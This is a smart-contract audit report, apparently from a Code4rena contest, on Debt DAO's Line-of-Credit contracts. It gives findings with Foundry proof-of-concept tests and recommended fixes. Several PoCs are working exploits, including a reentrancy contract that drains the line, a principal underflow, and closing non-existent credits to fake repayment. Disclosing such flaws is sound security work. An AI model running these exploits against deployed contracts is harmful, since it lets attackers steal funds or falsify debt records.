Debt DAO contest - adriro's results

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L403 https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L472

Vulnerability details

Closing a credit will call the _repay internal function, which will update the credit's balances and step the queue if the credit's principal has been already paid.

This will behave incorrectly if the queue was already "stepped" when the credit was repaid, as it will generate a second call to step the queue when the credit gets closed.

Impact

If a credit gets repaid in full (principal goes to 0) using the depositAndRepay function, the internal _repay function will correctly call the stepQ function to move this credit out of the queue and position the next one with debt at the front of queue, according to the FIFO schedule.

Now, when this credit gets closed using the close function, the _repay function will be called again, and because principal is still 0, this will generate a new call to stepQ which will incorrectly shift the queue again, potentially moving the next credit with debt from the front of the queue.

This will break the invariant that the queue is ordered by debt, since it may lead to a credit without principal at the first position, while having credits with principal debt deeper in the queue, as shown in the following PoC.

PoC

The test will create 3 different credits from 3 lenders. Borrower will first borrow from the first two credits. The queue then is:

[1, 2, 3]

Now borrower repays principal + interest accrued for the first credit, this will step the queue and move the first element out of the queue into the last position:

[2, 3, 1]

Everything goes fine at this point, credit 2 still has unpaid principal, while 3 was never borrowed and 1 has been repaid. Now credit 1 gets closed, this will step the queue again as principal is 0:

[3, 1 (null deleted), 2]

We end up with credit 3 at the front of the queue which isn't borrowed, while credit 2 (still unpaid) is last.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file LineOfCredit.t.sol.

function test_close_IncorrectlyStepQueue() public {
    address lender1 = makeAddr("lender1");
    _mintAndApprove(lender1);
    address lender2 = makeAddr("lender2");
    _mintAndApprove(lender2);
    address lender3 = makeAddr("lender3");
    _mintAndApprove(lender3);
    
    address token = address(supportedToken1);

    _addCredit(lender1, token, 1 ether);
    _addCredit(lender2, token, 1 ether);
    _addCredit(lender3, token, 1 ether);

    bytes32 id1 = CreditLib.computeId(address(line), lender1, token);
    bytes32 id2 = CreditLib.computeId(address(line), lender2, token);
    bytes32 id3 = CreditLib.computeId(address(line), lender3, token);
    
    // Borrow from credit 1 and credit 2
    vm.prank(borrower);
    line.borrow(id1, 1);
    vm.prank(borrower);
    line.borrow(id2, 1);
    
    // Queue should be 1 - 2 - 3
    assertEq(line.ids(0), id1);
    assertEq(line.ids(1), id2);
    assertEq(line.ids(2), id3);
    
    vm.warp(block.timestamp + 30 days);
    line.updateOutstandingDebt();
    
    // Repay credit 1
    (, uint256 principal1, uint256 interestAccrued1,,,,)  = line.credits(id1);
    uint256 debt = principal1 + interestAccrued1;
    vm.prank(borrower);
    line.depositAndRepay(debt);
    
    // Queue should be 2 - 3 - 1, this is correct so far: credit 2 has debt and is in position 0
    assertEq(line.ids(0), id2);
    assertEq(line.ids(1), id3);
    assertEq(line.ids(2), id1);
    
    vm.warp(block.timestamp + 1 days);
    
    // Now here is the bug, we call close on credit1, but this will incorrectly step the queue, removing credit 2 from the top
    vm.prank(lender1);
    line.close(id1);
    
    // Queue is now be 3 - 1 (deleted) - 2
    assertEq(line.ids(0), id3);
    assertEq(line.ids(1), bytes32(0));
    assertEq(line.ids(2), id2);
    
    // We have broken the invariant here: credit 3 is next in the queue but its principal is 0. Credit 2 should be next in the queue.
}

Recommendation

Don't step the queue when closing a credit. Refactor the call to stepQ out of the _repay function and call stepQ only when repaying the principal debt of a credit that was borrowed.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L90

Vulnerability details

Revenue contracts aren't validated in the claimRevenue function of the Spigot contract and a malicious borrower can use an uninitialized revenue contract to send all revenue to their treasury.

Impact

Using an uninitialized revenue contract will lead to using an uninitialized set of settings, in which all values are empty/zero. This is particularly concerning since the ownerSplit setting will be 0.

This would allow a malicious borrower to claim revenue using a non-existent contract address, which will lead to using an uninitialized setting with a ownerSplit value of 0. This will split 0% to the spigot and 100% to the treasury, effectively sending all tokens to the borrower's treasury.

PoC

In this test, the Spigot has a revenue payment of 100 tokens and we call the claimRevenue function with a random address that will lead to use an uninitialized set of settings and send the total amount of tokens to the treasury.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file Spigot.t.sol.

function test_ClaimRevenue_UninitializedRevenue() public {
    vm.startPrank(owner);
    
    RevenueToken token = new RevenueToken();
    
    MockRevenueContract revenue = new MockRevenueContract(owner, token);
            
    spigot = new Spigot(owner, treasury, operator);
    
    ISpigot.Setting memory settings = ISpigot.Setting(90, claimPushPaymentFunc, transferOwnerFunc);
    require(spigot.addSpigot(address(revenue), settings), "Failed to add spigot");
    
    // Revenue pushes payment to spigot
    token.mint(address(revenue), 100);
    revenue.sendPushPayment(address(spigot));
    
    // Use uninitialized revenue to claim token, uninitialized settings have a value of 0
    spigot.claimRevenue(makeAddr("foo"), address(token), hex"");
    
    // Treasury has 100% of the tokens!
    uint256 treasuryBalance = token.balanceOf(treasury);
    assertEq(treasuryBalance, 100);
}

Recommendation

Validate that the revenue contract in the claimRevenue function is a valid revenue contract and that its settings are initialized.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L234 https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L237

Vulnerability details

The addCredit function requires the consent of both lender and borrower to proceed and create the credit. If ETH is used as the token and the lender consents first, then the borrower won't be able to give consent, preventing the credit from being created and losing the deposited ETH.

Impact

When ETH is used as the credit token and if the lender is the first to give consent, he will execute a call to addCredit with a transaction value of the desired deposit amount of the credit.

Since he is the first to give consent, the mutualConsent modifier will wait for the other party (borrower) before continuing execution, however the ETH has been successfully transferred from the lender to the line contract.

Now, if the borrower tries to give consent to this addCredit transaction, the body of the function will be executed (since consent has been given by both parties) but it will get an error because LineLib.receiveTokenOrETH will require the borrower transaction to include the ETH payment.

This will effectively prevent the addCredit call from completing, and the lender will lose his deposit.

A different but similar issue happens if the borrower never consents, the lender has already transferred the ETH but there's no way to "cancel" that consent to refund the payment.

PoC

Lender wants to create a new credit and goes first, transferring 1 ETH. Then the borrower tries to give consent with the same params, but the call fails since it will ask the borrower for the ETH payment.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file LineOfCredit.t.sol.

function test_addCredit_BadMutualConsent() public {
    address lender = makeAddr("lender");
    _mintAndApprove(lender);

    uint256 amount = 1 ether;
    uint256 lenderBalanceBefore = lender.balance;

    // Lender gives consent first
    vm.prank(lender);
    line.addCredit{value: amount}(dRate, fRate, amount, Denominations.ETH, lender);

    // lender has already sent 1 ETH
    assertEq(lender.balance, lenderBalanceBefore - amount);

    // borrower tries to consent the credit but this will fail since addCredit will ask THE BORROWER to send the ETH value
    vm.expectRevert(LineLib.TransferFailed.selector);
    vm.prank(borrower);
    line.addCredit(dRate, fRate, amount, Denominations.ETH, lender);

    // We end up in an inconsistent state, borrower won't be able to give consent and the lender has already lost the ETH
}

Recommendation

1. Make sure the borrower side gives consent first. or...
2. Instead of using native ETH (or the equivalent in the chain this gets deployed) use the wrapped ERC20 version WETH. This will enable pull payments for ETH.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L388 https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L502

Vulnerability details

A malicious borrower can close non-existing credits to alter the status of the credit to LineLib.STATUS.REPAID, even if having open credit with debt.

Impact

The _close function in the LineOfCredit contract can be used to close non-existing credits, which will decrease the credit count variable, and may be exploitable by a malicious borrower to move the line of credit to a REPAID status and regain control of the Spigot while still having open credits with debt.

Since the _close function doesn't validate credits, it can be called with non-existing/invalid credit ids to artificially decrease the credit count variable, which is used to track open credits, and will move the line status to REPAID if it gets to 0. Once the count is 0, the attacker can simply call the SpigotedLibe.releaseSpigot function to regain control of the Spigot. This will allow him to control back the source of revenue while not paying any debt.

PoC

In this test, the borrower borrows funds from a credit, then proceeds to close an non-existing credit, which will move the credit count from 1 to 0. This will update the line status to LineLib.STATUS.REPAID.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file LineOfCredit.t.sol.

function test_close_UpdateStatusToRepaidWhileDebt() public {
    address lender = makeAddr("lender");
    _mintAndApprove(lender);
    
    uint256 amount = 1 ether;
    
    _addCredit(lender, address(supportedToken1), amount);
    bytes32 id = CreditLib.computeId(address(line), lender, address(supportedToken1));
    
    vm.prank(borrower);
    line.borrow(id, amount);
    
    // Line is active and borrower has an open credit with debt
    assertEq(uint256(line.status()), uint256(LineLib.STATUS.ACTIVE));
    
    vm.prank(borrower);
    line.close(keccak256("UnexistentCredit"));
    
    // By closing another non-existent credit we can update the status to REPAID while still having open debt
    assertEq(uint256(line.status()), uint256(LineLib.STATUS.REPAID));
}

Recommendation

Verify credits are valid and haven't been already closed when closing credit in the _close function of the LineOfCredit contract.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L146

Vulnerability details

The function useAndRepay present in the SpigotedLine contract doesn't check that the amount is within the debt limit and can be used by a malicious lender to underflow the principal variable and manipulate the debt of a credit.

Impact

A malicious lender can use the useAndRepay function to underflow the principal variable of the Credit struct by sending an amount that is greater to the limit of the debt (principal + interests accrued). Once underflowed, this will represent artificial debt generated in the credit.

This is possible because the function doesn't check that the amount is within debt limit, and also because the function CreditLib.repay uses unchecked math for its calculations, assuming the calling function does the proper checks.

This can be used by a bad actor to manipulate the principal amount of his credit and artificially generate debt.

PoC

In the following test, the lender pays off the debt using revenue coming from the Spigot by calculating the sum of principal and interest accrued and offsetting that amount by 1 token more to trigger the conditions. This will underflow the credit and set the principal to max uint.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file SpigotedLine.t.sol.

function test_useAndRepay_overflowDeposit() public {
    // Borrow
    _borrow(line.ids(0), lentAmount);
    
    // Trade revenue for credit 
    uint256 claimable = spigot.getEscrowed(address(revenueToken));        // console.log(claimable);

    bytes memory tradeData = abi.encodeWithSignature(
        'trade(address,address,uint256,uint256)',
        address(revenueToken),
        address(creditToken),
        claimable,
        lentAmount * 2
    );

    vm.prank(borrower);
    line.claimAndTrade(address(revenueToken), tradeData);
    
    // Time passes to generate some debt
    vm.warp(block.timestamp + 30 days);
    line.updateOutstandingDebt();
    
    bytes32 id = CreditLib.computeId(address(line), lender, address(creditToken));
    
    // Lender calls useAndRepay with an amount that exceeds the debt
    (, uint256 principal, uint256 interestAccrued,,,,)  = line.credits(id);
    uint256 amount = principal + interestAccrued + 1;
    vm.prank(lender);
    line.useAndRepay(amount);
    
    // BOOM! principal was overflowed! Now the borrower owes near infinite money 
    (, uint256 principalAfter,,,,,)  = line.credits(id);
    console.log("Principal", principalAfter);
    assertEq(principalAfter, type(uint256).max);
}

Recommendation

Validate the amount param in the useAndRepay function is within the limits of the debt (amount <= credit.principal + credit.interestAccrued).

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/LineLib.sol#L71

Vulnerability details

The LineLib.receiveTokenOrETH is used in different parts of the codebase to check for incoming ETH payments. This function allows the caller to send more than expected and doesn't refund ETH in excess.

Impact

The LineLib.receiveTokenOrETH allows to receive any amount of ETH that is at least greater (or equal) to the expected amount, allowing payments made in excess by mistake and not refunding extra ETH to the caller.

PoC

Using Escrow.addCollateral() as an easy example, we can send 1 ether by mistake for an amount of 0.1 ether. The call will succeed, but just 0.1 ether will be taken as the added amount of collateral.

escrow.addCollateral{value: 1 ether}(0.1 ether, Denominations.ETH);

Recommendation

Change the if guard to be the exact amount if(msg.value != amount) { revert TransferFailed(); } or include a refund for the amount sent in excess.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L93 https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L154

Vulnerability details

Trading revenue tokens for credit tokens in the SpigotedLine contract should somehow link the trade output amount to the amount of credit tokens needed (to pay for a particular credit or credits deposited in that credit token), otherwise this may exchange revenue tokens for excessive credit tokens while not taking into account other credits nominated in other tokens.

Impact

The functions claimAndRepay and claimAndTrade in the SpigotedLine contract will take revenue tokens from the spigot and potentially exchange them for credit tokens to repay debt.

This is done using the 0x protocol, these function will take an arbitrary zeroExTradeData payload that is used to make the call to the exchange to swap the tokens. The issue here is that there is no link between the amount of tokens needed to repay debt in that particular credit token, and the output amount of the trade.

This may lead to situations where revenue tokens are traded in excess in relation to how much debt is pending in that particular credit token. Other credits nominated in other credit tokens may exist, but won't be able to be repaid with that excess since that revenue was already swapped to another token.

Recommendation

Enforce a relation between the amount of tokens needed to repay debt and the amount of tokens outputted from the trade. It can be a limit with a certain degree of padding to allow an error margin or exchange a bit more just in case. Another idea would be to make it possible to exchange unused credit tokens for other credit tokens to be able to repay debts (note that this may lead to other potential issues).

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/LineOfCredit.sol#L488

Vulnerability details

There is a reentrancy vulnerability in the _close function of the LineOfCredit contract, which may lead a malicious lender to steal funds from the line contract while closing his position.

Impact

The _close function is used to finalize a credit and send the deposit and interest back to the lender. The function will first send the payment back to the lender and then update the state of the credit (in this case the credit is deleted).

If the credit token is an ERC20 with callbacks (variants of this include ERC223 or ERC777), then a reentrancy attack is possible using a contract that receives the hook and reenters the close function.

This will allow a malicious lender to remove his funds multiple times, stealing funds from the line of credit.

Note that this attack can also be triggered using ETH. In this case it would be difficult to pull since LineLib.sendOutTokenOrETH uses address.transfer(amount) which has a cap of 2300 units of gas.

PoC

In this test the attacker uses a simplified version of an ERC223 token (SimpleERC223Token, for demo purposes) that allows him to execute a reentrancy attack using a contract that acts as the lender (ReentrancyLender). In the test the attacker reenters just once to simplify the issue, but it can potentially reenter any number of times.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file LineOfCredit.t.sol.

interface IERC223Recipient {
    function tokenFallback(address, uint256) external;
}

contract SimpleERC223Token is ERC20 {
    constructor() ERC20("Simple ERC223 Token", "SET") {}
    
    function mint(address account, uint256 amount) external returns(bool) {
        _mint(account, amount);
        return true;
    }

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        // Call parent hook
        super._afterTokenTransfer(from, to, amount);
        if (Address.isContract(to)) {
            // This should use a ERC165 style check, using try/catch to simplify the scenario
            try IERC223Recipient(to).tokenFallback(msg.sender, amount) {} catch {}
        }
    }
}

contract ReentrancyLender is IERC223Recipient {
    bool reentered;
    ILineOfCredit line;
    bytes32 id;
    
    constructor(ILineOfCredit _line) {
        line = _line;
    }
    
    function tokenFallback(address, uint256) external {
        // reenter once for demo purposes, but this can potentially reenter multiple times to empty the contract
        if (!reentered) {
            reentered = true;
            close();
        }
    }
    
    function addCredit(address token, uint256 amount) external {
        ERC20(token).approve(address(line), type(uint256).max);
        id = line.addCredit(100, 1, amount, token, address(this));
    }
    
    function close() public {
        line.close(id);
    }
}

function test_close_Reentrancy() public {
    SimpleERC223Token token = new SimpleERC223Token();
    oracle.enableToken(address(token));
    
    uint256 amount = 1 ether;
    
    // make sure borrower has enough to repay
    token.mint(borrower, 2 * amount);
    vm.prank(borrower);
    token.approve(address(line), type(uint256).max);
    
    // simulate credit tokens in the line, this may be from other lenders or coming from the spigot
    token.mint(address(line), 10 ether);
    
    ReentrancyLender reentrancyLender = new ReentrancyLender(line);
    token.mint(address(reentrancyLender), amount);
    
    // Borrower addCredit
    vm.prank(borrower);
    line.addCredit(dRate, fRate, amount, address(token), address(reentrancyLender));
    
    // Lender addCredit
    reentrancyLender.addCredit(address(token), amount);
    
    bytes32 id = CreditLib.computeId(address(line), address(reentrancyLender), address(token));
    
    // Borrower takes credit
    vm.prank(borrower);
    line.borrow(id, amount);
    
    // Advance time...
    vm.warp(block.timestamp + 30 days);
    line.updateOutstandingDebt();
    
    // Borrower repays debt
    (, uint256 principal, uint256 interestAccrued,,,,)  = line.credits(id);
    uint256 debt = principal + interestAccrued;
    vm.prank(borrower);
    line.depositAndRepay(debt);
    
    // Initiate hack, lender calls close and reenters the function
    reentrancyLender.close();
    
    // Lender has doubled his tokens
    uint256 lenderBalance = token.balanceOf(address(reentrancyLender));
    console.log("Lender balance:", lenderBalance);
    assertEq(lenderBalance, 2 * (principal + interestAccrued));
}

Recommendation

Use a reentrancy guard on the function, or move the payment call (LineLib.sendOutTokenOrETH) after the state is updated, following the "check effects interactions" pattern (see https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html).

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L67 https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L14

Vulnerability details

Whitelisted functions in the Spigot contract don't have any kind of association or validation to which revenue contract they are intended to be used. This may lead to inadvertently whitelisting a function in another revenue contract that has the same selector but a different name (signature).

Impact

Functions in Solidity are represented by the first 4 bytes of the keccak hash of the function signature (name + argument types). It is possible (and not difficult) to find different functions that have the same selector.

In this way, a bad actor can try to use an innocent looking function that matches the selector of another function (in a second revenue contract) that has malicious intentions. The arbiter will review the innocent function, whitelist its selector, while unknowingly enabling a potential call to the malicious function, since whitelisted functions can be called on any revenue contract.

Mining for selector clashing is feasible since selectors are 4 bytes and the search space isn't that big for current hardware.

This is similar to the attack found on proxies, documented here https://medium.com/nomic-foundation-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357 and here https://forum.openzeppelin.com/t/beware-of-the-proxy-learn-how-to-exploit-function-clashing/1070

PoC

In the following test the collate_propagate_storage(bytes16) function is whitelisted because it looks safe enough to the arbiter. Now, collate_propagate_storage(bytes16) has the same selector as burn(uint256), which allows a bad actor to call EvilRevenueContract.burn using the operate function of the Spigot.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file Spigot.t.sol.

contract InnocentRevenueContract {
    function collate_propagate_storage(bytes16) external {
        // It's all safe here!
        console.log("Hey it's all good here");
    }
}

contract EvilRevenueContract {
    function burn(uint256) external {
        // Burn the world!
        console.log("Boom!");
    }
}

function test_WhitelistFunction_SelectorClash() public {
      vm.startPrank(owner);
      
      spigot = new Spigot(owner, treasury, operator);
      
      // Arbiter looks at InnocentRevenueContract.collate_propagate_storage and thinks it's safe to whitelist it (this is a simplified version, in a real deploy this comes from the SpigotedLine contract)
      spigot.updateWhitelistedFunction(InnocentRevenueContract.collate_propagate_storage.selector, true);
      assertTrue(spigot.isWhitelisted(InnocentRevenueContract.collate_propagate_storage.selector));
      
      // Due to selector clashing EvilRevenueContract.burn gets whitelisted too!
      assertTrue(spigot.isWhitelisted(EvilRevenueContract.burn.selector));
      
      
      EvilRevenueContract evil = new EvilRevenueContract();
      // ISpigot.Setting memory settings = ISpigot.Setting(90, claimPushPaymentFunc, transferOwnerFunc);
      // require(spigot.addSpigot(address(evil), settings), "Failed to add spigot");
      
      vm.stopPrank();
              
      // And we can call it through operate...
      vm.startPrank(operator);
      spigot.operate(address(evil), abi.encodeWithSelector(EvilRevenueContract.burn.selector, type(uint256).max));
  }

Recommendation

Associate whitelisted functions to particular revenue contracts (for example, using a mapping(address => mapping(bytes4 => bool))) and validate that the selector for the call is enabled for that specific revenue contract in the operate function.

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/utils/SpigotLib.sol#L96

Vulnerability details

When claiming ETH revenue in the Spigot, the contract will send the borrower's share to the treasury using the address.transfer(amount) function, which may fail and revert the whole function, leading to an eventual DoS.

Impact

The claimRevenue function in the Spigot contract will calculate the ETH revenue that belongs to the treasury and send it using LineLib.sendOutTokenOrETH, which (in the case of ETH) will execute address.transfer(amount) to forward the ETH payment.

If the treasury is a contract account, then this transfer function may fail and cause claimRevenue to revert entirely, leading to a DoS and the impossibility of calling this function successfully.

There are various reason to which this may fail and block the claiming procedure: a) the treasury can revert on purpose, b) have an unexpected error on its logic or c) run out of gas (which is particularly relevant since transfer has a limit of just 2300 units of gas)

See https://www.kingoftheether.com/postmortem.html for a detailed description of a similar issue.

PoC

In the following test, the Spigot is created with a treasury that consumes all available gas (for demo purposes, in reality this may be a function that inadvertently consumes a lot of gas) and will revert the claiming process.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file Spigot.t.sol.

contract BrokenTreasury {
    fallback() external payable {
        // consume gas for demo purposes
        while(true) {}
    }
}

function test_ClaimRevenue_TreasuryDoS() public {
    vm.startPrank(owner);
    
    BrokenTreasury brokenTreasury = new BrokenTreasury();
    
    spigot = new Spigot(owner, address(brokenTreasury), operator);
    
    MockRevenueContract revenue = new MockRevenueContract(owner, RevenueToken(Denominations.ETH));
    
    ISpigot.Setting memory settings = ISpigot.Setting(90, claimPullPaymentFunc, transferOwnerFunc);
    require(spigot.addSpigot(address(revenue), settings), "Failed to add spigot");
    
    vm.deal(address(revenue), 1 ether);
    
    // Claim revenue from contract, this will claim the ETH and send a share to the treasury, which will always fail
    vm.expectRevert();
    spigot.claimRevenue(address(revenue), Denominations.ETH, abi.encodeWithSelector(claimPullPaymentFunc));
    
    assertEq(address(spigot).balance, 0);
    assertEq(address(brokenTreasury).balance, 0);        
}

Recommendation

Use a "pull" pattern where the responsibility of transferring the ETH is shifted to the receiver instead of making it part of the whole process (see https://fravoll.github.io/solidity-patterns/pull_over_push.html).

In this case, treasury ETH payments can be stored and accumulated in a contract variable of the Spigot, and sent when requested from the treasury.

Low

Unused imports in Spigot contract

The following imports are unused and can be removed:

• LineLib

Unused imports in SpigotLib library

The following imports are unused and can be removed:

• ReentrancyGuard

_claimRevenue visibility in SpigotLib should be private

This function is only used in the SpigotLib library and its visibility is public. Consider changing it to private.

Duplicated events definitions in ISpigot and SpigotLib

Both sources define the same events (AddSpigot, RemoveSpigot, etc.).

Unused imports in Escrow contract

• Denominations
• IOracle
• ILineOfCredit
• CreditLib
• LineLib

Change getCollateralValue() to view function in Escrow

The getCollateralValue() function mutability could probably be changed to view since it shouldn't modify state.

Define EscrowLib.MAX_INT using type(uint256).max

The constant EscrowLib.MAX_INT is defined by using the literal maximum number. Consider using Solidity's type(uint256).max instead for a more declarative and readable version.

_getLatestCollateralRatio visibility in EscrowLib should be private

This function is only used in the EscrowLib library and its visibility is public. Consider chaging it to private.

Use staticcall for previewRedeem(uint256) call in EscrowLib

The call in line 65 to execute the previewRedeem(uint256) function can be changed to use staticcall since this function is defined as view in the ERC4626. See https://eips.ethereum.org/EIPS/eip-4626#previewredeem

Use staticcall for asset() call in EscrowLib

The call in line 116 to execute the asset() function can be changed to use staticcall since this function is defined as view in the ERC4626. See https://eips.ethereum.org/EIPS/eip-4626#asset

Use staticcall for decimals() call in EscrowLib

The call in line 131 to execute the decimals() function can be changed to use staticcall since this function is defined as view in the ERC20. See https://eips.ethereum.org/EIPS/eip-20#decimals

Follow "Checks Effects Interactions" pattern in releaseCollateral function of EscrowLib library

External call in line 166 should be safe to reentrancy, but consider moving this to the bottom of the body to follow the recommended pattern as a precaution measure. See https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html

Validate address for new line is not empty/zero in updateLine function of EscrowLib library

As a safe precaution, consider adding a guard require(_line != address(0)) in the updateLine function. A bad value here may lead to the escrow being inaccessible.

Unused imports in LineOfCredit contract

• Denominations

setRates function in LineOfCredit contract doesn't validate credit isn't closed

This function doesn't check if the given credit has been already closed.

Move _sortIntoQ to CreditListLib

This function can probably be moved to the CreditListLib library, which handles all the logic around the line of credit queue.

Modify CreditLib.create mutability to view

This function shouldn't mutate state. The call in line 142 can be changed to staticcall since ERC20.decimals() is a view function.

Unused imports in SpigotedLine contract

• Denominations
• CreditLib
• MutualConsent